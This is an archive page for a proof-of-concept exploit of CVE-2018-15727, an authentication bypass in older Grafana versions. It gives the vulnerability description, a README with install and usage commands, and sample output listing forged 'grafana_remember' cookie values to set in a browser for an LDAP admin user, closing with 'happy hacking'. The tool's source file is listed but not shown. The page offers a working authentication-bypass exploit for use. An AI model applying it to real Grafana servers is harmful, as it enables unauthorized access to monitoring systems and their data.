CVE-2018-15727 PoC — Grafana 安全漏洞

Source

https://github.com/u238/grafana-CVE-2018-15727

Associated Vulnerability

Title:Grafana 安全漏洞 (CVE-2018-15727)
Description:Grafana是一套提供可视化监控界面的开源监控工具。该工具主要用于监控和分析Graphite、InfluxDB和Prometheus等。 Grafana中存在安全漏洞，该漏洞源于攻击者可仅利用LDAP或Oauth用户名即可生成有效的‘remember me’ cookie。攻击者可利用该漏洞绕过身份验证。以下版本受到影响：Grafana 2.x版本，3.x版本，4.6.4之前的4.x版本，5.2.3之前的5.x版本。

Description

a small utility to generate a cookie in order to exploit a grafana vulnerability (CVE-2018-15727)

Readme

# Grafana CVE-2018-15727 exploit
## Installation
```
$ go get github.com/u238/grafana-CVE-2018-15727
```

## Usage
```
$ source <(go env)
$ $GOPATH/bin/grafana-CVE-2018-15727 ldapadmin
[i] delete the grafana_sess cookie from your browser session
[i] set following cookies in you browser:
 * for Grafana 5.x:
   grafana_user      : ldapadmin
   grafana_remember  : 8947f2c6b81963b2a45f4293ced63802f0c923daa368a9beda748800335fc72c06ea186e43
 * for Grafana 4.x:
   grafana_user      : ldapadmin
   grafana_remember  : 8d26614cd6a92aaf892eebb066ae17ed65ef6c9bea73f875ed6698a907d807db0026787fc3
[+] happy hacking ;) 
```

## LICENSE

See LICENSE file.

File Snapshot


 [4.0K]  /data/pocs/b37d7c0c8b87724e70f6f78e16004afb88952e9e
├── [1.0K]  LICENSE
├── [2.0K]  main.go
└── [ 647]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!